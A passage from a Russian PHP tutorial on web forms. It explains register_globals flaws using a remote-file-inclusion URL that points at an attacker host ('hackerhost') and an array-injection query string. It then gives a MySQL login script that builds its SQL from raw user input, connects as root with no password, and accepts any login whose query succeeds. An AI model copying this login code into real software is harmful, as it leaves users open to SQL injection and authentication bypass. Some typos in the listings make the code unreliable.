Смекни!
smekni.com

Web-программирование. Обработка HTML-форм (стр. 7 из 8)

3.1. Первый пример уязвимости

Для иллюстрации, как можно получить уязвимый сценарий, рассмотрим пример:

<?php

//*** здесь устанавливается переменная $root

//*** ...

// запускаем другой скрипт, который ищем в каталоге $root

include $root.»/library.php»;

?>

Если в коде, помеченном выше звездочками, переменная $root по ошибке окажется не установленной (это может случиться по разным причинам), злоумышленник сможет запустить на сервере любой код, открыв следующий адрес в браузере:

http://example.com/scnpt.pbp?root=http://hackerhost

Здесь example.com — это машина, на которой располагается скрипт, a hackerhost — компьютер злоумышленника, на котором также установлен Web-сервер.

Рассмотрим подробнее, что же происходит. В скрипте значение переменной $root подставляется в строку и выполняется команда:

include “http://hackerhost/library.php”;

В большинстве случаев это заставляет РНР загрузить файл library.php с удаленной машины и передать ему управление. Иными словами, записав в файл library.php на своей машине любой код, хакер может запустить его на сервере example.com.

3.2. Второй пример уязвимости

Предыдущий пример может показаться надуманным. Таким он и является: данная проблема может обнаружиться лишь в сценариях, насчитывающих несколько разных файлов, включающих друг друга. Там бывает весьма непросто уследить за глобальными переменными. Например, в известном форуме phpBB уязвимость описанного типа обнаруживалась и исправлялась несколько раз.

Более простой пример связан с массивами. Многие люди пишут в своих программах:

$artefacts[’rabbit’] = “white”;

$artefacts[’cat’] = “black”;

Они не задумываются над тем, что перед этим надо бы очистить массив $artefacts: считают, что он и так пуст в начале программы. Корректный же код должен выглядеть так:

$artefacts = array();

$artefacts[’rabbit’] = “white”;

$artefacts[’cat’] = “black”;

К чему ведет пропуск $artefacts = array(); в начале скрипта? К тому, что, передав специально подобранную командную строку, хакер может добавить в массив $artefacts произвольные данные. Например, он запустит сценарий так:

http://example.com/script.php?artefacts[reboot]=yes

При этом в программе с пропущенным обнулением массива $artefacts в него будут помещены не два, а три элемента (включая reboot=>yes). Скрипт никак на это не рассчитывает, что, в свою очередь, порождает потенциальные проблемы с безопасностью.

Если глобальные переменные не создаются, то описанные уязвимости исчезают. Во всяком случае, так решили разработчики РНР.

Всегда необходимо проверять код, чтобы гарантировать, что любые переменные, отправляемые из web-браузера, соответствующим образом будут проверены. Задавайте себе следующие вопросы:

● Будет ли данный скрипт воздействовать только на предполагаемые файлы?

● Могут ли быть обработаны необычные или нежелательные данные?

● Может ли данный скрипт быть использован несоответствующим образом?

● Может ли он быть использован в сочетании с другими скриптами негативным образом?

● Будет ли выполнен адекватный логинг для каждой транзакции?

Задав себе эти вопросы при написании скрипта, а не потом, вы предотвратите возможную переделку для повышения защищённости. Вы не гарантируете полную безопасность вашей системы, но можете значительно повысить её.

Возможно, вы захотите также предусмотреть отключение register_globals, magic_quotes или других установок, которые могут создать у вас неуверенность в проверке, источнике или значении данной переменной. Работа с PHP в режиме error_reporting(E_ALL) также может помочь, предупреждая вас о переменных, используемых до проверки или инициализации (что предотвратит операции с необычными данными).


3.3. Порядок трансляции переменных

Теперь рассмотрим, в каком порядке записываются данные в массив $_REQUEST, a также в глобальные переменные, если включен режим register_giobals. Этот порядок, вообще говоря, важен.

Например, пусть у нас есть параметр A=10, поступивший из query_string, параметр A=20 из POST-запроса (как мы помним, даже при POST-запросе может быть передана query_string), и cookieA=30. По умолчанию трансляция выполняется в порядке GET-POST-COOKIE (GPC), причем каждая следующая переменная перекрывает предыдущее свое значение (если оно существовало). Итак, в переменную $A сценария и в $_REQUEST[ 'A' ] будет записано 30, поскольку cookie перекрывает post и get.

В режиме register_giobals в глобальные переменные попадают также значения переменных окружения. Записываются они в соответствии со схемой ENVIRON-MENT-GET-POST-COOKIE (EGPC). Иными словами, переменные окружения в режиме register_giobals перекрываются даже GET-данными, и злоумышленник может «подделать» любую из них, передав соответствующую переменную query_string при запуске сценария.

Поэтому, если не хотите проблем, даже в режиме register_globals обращайтесь к переменным окружения только через:

$_SERVER['переменная'] или getenv('переменная')

4. ПРИЛОЖЕНИЯ, ХРАНЯЩИЕ ДАННЫЕ О РЕГИСТРАЦИИ ПОЛЬЗОВАТЕЛЕЙ В БАЗЕ ДАННЫХ MySQL

Хранение информации о данных регистрации осуществляется в базе данных MySQL. Пример включает в себя три скрипта. В первом, auth.php, происходит регистрация пользователей. Второй скрипт, members_only.php, предоставляет информацию, доступную только для зарегистрированных пользователей. И, наконец, в третьем скрипте, destroy.php, реализован выход из системы.

Для работы необходимо создать базу данных auth. Это можно сделать, выполнив SQL-запрос, текст которого приведен в листинге

Листинг auth.txt. Создание базы данных

create database auth;

use auth;

create table auth

(

name varchar(10) not null,

pass varchar(30) not null,

primary key (name)

);

Чтобы создать в системе базу данных, нужно войти в систему MySQL и ввести в командной строке MySQL:

mysql> createdatabaseauth;

После этого следует набрать:

mysql>use auth;


База данных создана:

Следующий этап настройки базы данных — создание таблиц. Это делается при помощи SQL-команды CREATETABLE:

create table auth

(

name varchar(10) not null,

pass varchar(30) not null,

primary key (name)

);

Таблицы базы данных созданы:

Можно просмотреть перечень таблиц созданной базы данных c помощью оператора SHOW:


Можно отобразить информацию о столбцах всех таблиц c помощью оператора DESCRIBE:

Для просмотра данных, сохраненных в каждой таблице, можно применить оператор SELEKT:

Листинг auth.php. Код скрипта для регистрации пользователя

<?

$dblocation = “127.0.0.1”;

$dbname = “local”;

$dbuser = “root”;

$dbpasswd = “”;

session_start();

if(isset($HTTP_POST_VARS[’userid’]) &&

isset($HTTP_POST_VARS[’password’]))

{

$userid = $HTTP_POST_VARS[’userid’];

$password = $HTTP_POST_VARS[’password’];

$db_connect=mysql_connect($dblocation, $dbuser, $dbpasswd);

mysql_select_db(‘auth’,$db_connect);

$query = “select * from auth where name=’”.$userid.”’

and pass = password(‘$password’);”;

$result = mysql_query($query,$db_connect);

if ($result)

{

$HTTP_SESSION_VARS[’valid_user’] = $userid;

}

}

?>

<html>

<body>

<h1> Страница регистрации </h1>

<?

if (isset($HTTP_SESSION_VARS[’valid_user’]))

{

echo ‘Вызарегистрированыкак ‘.$HTTP_SESSION_VARSI[’valid_user’].

‘<br />’;

echo ‘<a href=”destroy.php”>Bыход</a><br />’;

}

else

{

if (isset($userid))

{

echo(“Регистрацияневозможна”);

}

?>

<form method=”post” action=”auth.php”>

<table>

<tr><td>Имя: </td>

<td><input type=”text” name=”userid”</td></tr>

<tr><td>Пароль: </td>

<td><input type=”password” name=”password”></td></tr>

<tr><td colspan=2><input type=submit value=’Зарегистрировать ‘>

</td></tr>

</table></form>

<?

}

?>

<br>

<a href =»members_only.рhр»> Только для зарегистрированных пользователей </а>

</body>

</html>

В результате выполнения этого скрипта, если пользователь еще не зарегистрирован, для него отображается входная страница регистрации:


После того как посетитель введет свои данные и зарегистрируется, ему будет выдано сообщение об успешной регистрации:

Если регистрация, по каким – либо причинам не удалась, можно вернуться назад на страницу регистрации:

Если регистрация удалась, то посетитель может попасть на страницу для зарегистрированных пользователей, код которой реализован в скрипте members_only.php.

Листинг members_only.php. Код скрипта для страницы зарегистрированных пользователей